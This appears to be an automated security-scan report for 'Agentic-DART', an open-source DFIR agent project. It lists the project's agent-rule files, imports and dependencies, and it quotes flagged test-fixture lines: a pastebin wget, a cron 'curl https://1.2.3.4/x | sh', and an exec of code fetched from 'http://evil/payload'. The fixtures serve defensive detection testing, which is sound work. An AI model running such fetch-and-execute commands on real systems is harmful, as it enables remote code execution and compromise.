Agentic-DART — autonomous detection & response agent. Architecture-first, not prompt-first. Starts as agentic DFIR; designed to expand toward agentic SOC and beyond.
Drift inferred · capture-to-capture
No drift recorded — single capability capture; advisories appear once its surface changes.
transport stdio counts 0 tools · 0 res
· 0 prompts
permission surface via code analysis
No tools enumerated yet for this server.
prompt-surface
shipped agent-instruction files + hidden-content / dangerous-code findings —
quoted from the analyzed source
analyzed commit a17e90b · analyzer v33 · 4d ago
skills & prompt files 2
- agent-rules Juwon1405-agentic-dfir-a17e90b/AGENTS.md
- agent-rules Juwon1405-agentic-dfir-a17e90b/CLAUDE.md
danger signals3
- suspicious endpoint pastebin.com Juwon1405-agentic-dfir-a17e90b/tests/test_v05_supply_chain.py :196
"wget https://pastebin.com/raw/abc\n", - suspicious endpoint pastebin.com Juwon1405-agentic-dfir-a17e90b/tests/test_v06_macos_linux.py :99
"data_url": "https://pastebin.com/raw/abc123", - suspicious endpoint 1.2.3.4 Juwon1405-agentic-dfir-a17e90b/tests/test_v06_macos_linux.py :204
"*/5 * * * * root curl https://1.2.3.4/x | sh\n"
evidence-backed
findings quoted directly from the published source artifact — not inferred
code files: 91
filesystem 52
- fs Juwon1405-agentic-dfir-a17e90b/analyze.py :41
import shutil - fs Juwon1405-agentic-dfir-a17e90b/dfir_agent/src/dfir_agent/__init__.py :28
from pathlib import Path - fs Juwon1405-agentic-dfir-a17e90b/dfir_agent/src/dfir_agent/auth.py :19
from pathlib import Path - fs Juwon1405-agentic-dfir-a17e90b/dfir_agent/src/dfir_agent/live.py :32
from pathlib import Path - fs Juwon1405-agentic-dfir-a17e90b/dfir_audit/src/dfir_audit/__init__.py :25
from pathlib import Path - fs Juwon1405-agentic-dfir-a17e90b/dfir_audit/src/dfir_audit/cli.py :19
with open(path, encoding="utf-8") as f: - fs Juwon1405-agentic-dfir-a17e90b/dfir_corr/src/dfir_corr/__init__.py :33
from pathlib import Path - fs (weak) Juwon1405-agentic-dfir-a17e90b/dfir_corr/tests/test_dfir_corr.py :11
from pathlib import Path - fs Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/__init__.py :44
from pathlib import Path - fs Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/_v04_expansion.py :77
with p.open(encoding="utf-8", errors="replace") as f: - fs Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/_v05_supply_chain.py :531
with p.open(encoding="utf-8", errors="replace") as f: - fs Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/_v06_macos_linux.py :29
from pathlib import Path
show 28 more
- fs Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/_v07_sigma.py :30
from pathlib import Path - fs Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/sift_adapters/_common.py :41
import shutil - fs Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/sift_adapters/amcacheparser.py :102
with csv_file.open("r", encoding="utf-8", errors="replace") as fh: - fs Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/sift_adapters/evtxecmd.py :90
with out_csv.open("r", encoding="utf-8", errors="replace") as fh: - fs Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/sift_adapters/mftecmd.py :88
with out_csv.open("r", encoding="utf-8", errors="replace") as fh: - fs Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/sift_adapters/pecmd.py :82
with out_csv.open("r", encoding="utf-8", errors="replace") as fh: - fs Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/sift_adapters/plaso.py :26
from pathlib import Path - fs Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/sift_adapters/recmd.py :98
with out_csv.open("r", encoding="utf-8", errors="replace") as fh: - fs (weak) Juwon1405-agentic-dfir-a17e90b/scripts/check_sift_tools.py :30
import shutil - fs (weak) Juwon1405-agentic-dfir-a17e90b/scripts/eval/_history.py :22
from pathlib import Path - fs (weak) Juwon1405-agentic-dfir-a17e90b/scripts/eval/_ledger.py :20
from pathlib import Path - fs (weak) Juwon1405-agentic-dfir-a17e90b/scripts/eval/demo.py :36
from pathlib import Path - fs (weak) Juwon1405-agentic-dfir-a17e90b/scripts/eval/download.py :27
import shutil - fs (weak) Juwon1405-agentic-dfir-a17e90b/scripts/eval/external.py :54
from pathlib import Path - fs (weak) Juwon1405-agentic-dfir-a17e90b/scripts/eval/score.py :48
from pathlib import Path - fs (weak) Juwon1405-agentic-dfir-a17e90b/scripts/eval/self.py :43
from pathlib import Path - fs (weak) Juwon1405-agentic-dfir-a17e90b/scripts/eval/validate_ground_truth.py :24
from pathlib import Path - fs (weak) Juwon1405-agentic-dfir-a17e90b/scripts/healthcheck.py :25
from pathlib import Path - fs (weak) Juwon1405-agentic-dfir-a17e90b/scripts/regenerate_doc_images.py :10
from pathlib import Path - fs (weak) Juwon1405-agentic-dfir-a17e90b/scripts/regenerate_hero.py :31
from pathlib import Path - fs (weak) Juwon1405-agentic-dfir-a17e90b/tests/_pending/test_extended_mcp.py :9
from pathlib import Path - fs (weak) Juwon1405-agentic-dfir-a17e90b/tests/test_agent_self_correction.py :6
from pathlib import Path - fs (weak) Juwon1405-agentic-dfir-a17e90b/tests/test_audit_chain.py :6
from pathlib import Path - fs (weak) Juwon1405-agentic-dfir-a17e90b/tests/test_concurrency_and_edge_cases.py :28
from pathlib import Path - fs (weak) Juwon1405-agentic-dfir-a17e90b/tests/test_docs_consistency.py :28
from pathlib import Path - fs (weak) Juwon1405-agentic-dfir-a17e90b/tests/test_download.py :8
from pathlib import Path - fs (weak) Juwon1405-agentic-dfir-a17e90b/tests/test_eval_layout.py :10
from pathlib import Path - fs (weak) Juwon1405-agentic-dfir-a17e90b/tests/test_evtxecmd_oom.py :11
from pathlib import Path
12 more not shown — this panel samples each group; the count above is the real total.
shell / exec 9
- shell Juwon1405-agentic-dfir-a17e90b/dfir_agent/src/dfir_agent/auth.py :17
import subprocess - shell Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/sift_adapters/_common.py :42
import subprocess - shell (weak) Juwon1405-agentic-dfir-a17e90b/scripts/eval/external.py :51
import subprocess - shell (weak) Juwon1405-agentic-dfir-a17e90b/scripts/eval/self.py :41
import subprocess - shell (weak) Juwon1405-agentic-dfir-a17e90b/scripts/healthcheck.py :23
import subprocess - shell (weak) Juwon1405-agentic-dfir-a17e90b/tests/_pending/test_extended_mcp.py :7
import subprocess - shell (weak) Juwon1405-agentic-dfir-a17e90b/tests/test_concurrency_and_edge_cases.py :24
import subprocess - shell (weak) Juwon1405-agentic-dfir-a17e90b/tests/test_eval_layout.py :8
import subprocess - shell (weak) Juwon1405-agentic-dfir-a17e90b/tests/test_live_mcp.py :18
import subprocess
network 5
- net Juwon1405-agentic-dfir-a17e90b/analyze.py :299
import socket - net Juwon1405-agentic-dfir-a17e90b/dfir_agent/src/dfir_agent/auth.py :220
import requests - net (weak) Juwon1405-agentic-dfir-a17e90b/scripts/eval/download.py :29
import urllib.error - net (weak) Juwon1405-agentic-dfir-a17e90b/tests/test_docs_consistency.py :29
from urllib.parse import unquote - net (weak) Juwon1405-agentic-dfir-a17e90b/tests/test_v05_supply_chain.py :73
sus.write_text("import urllib.request; exec(urllib.request.urlopen('http://evil/payload').read())",
secrets 5
- secrets Juwon1405-agentic-dfir-a17e90b/analyze.py :297
import getpass - secrets Juwon1405-agentic-dfir-a17e90b/dfir_agent/src/dfir_agent/auth.py :378
have_api = bool(os.environ.get("ANTHROPIC_API_KEY")) - secrets Juwon1405-agentic-dfir-a17e90b/dfir_agent/src/dfir_agent/live.py :660
_have_creds = bool(os.environ.get("ANTHROPIC_API_KEY")) - secrets (weak) Juwon1405-agentic-dfir-a17e90b/scripts/eval/external.py :427
if not args.dry_run and not os.environ.get("ANTHROPIC_API_KEY"): - secrets (weak) Juwon1405-agentic-dfir-a17e90b/scripts/eval/self.py :271
if not args.dry_run and not os.environ.get("ANTHROPIC_API_KEY"):
database 3
- db Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/__init__.py :1059
import sqlite3 - db Juwon1405-agentic-dfir-a17e90b/dfir_mcp/src/dfir_mcp/_v06_macos_linux.py :26
import sqlite3 - db (weak) Juwon1405-agentic-dfir-a17e90b/tests/test_v06_macos_linux.py :9
import sqlite3
declared dependencies 5
- mcp@>=1.0.0,<2
- dfir-audit@*
- dfir-mcp@*
- anthropic@>=0.40.0
- requests@>=2.25.0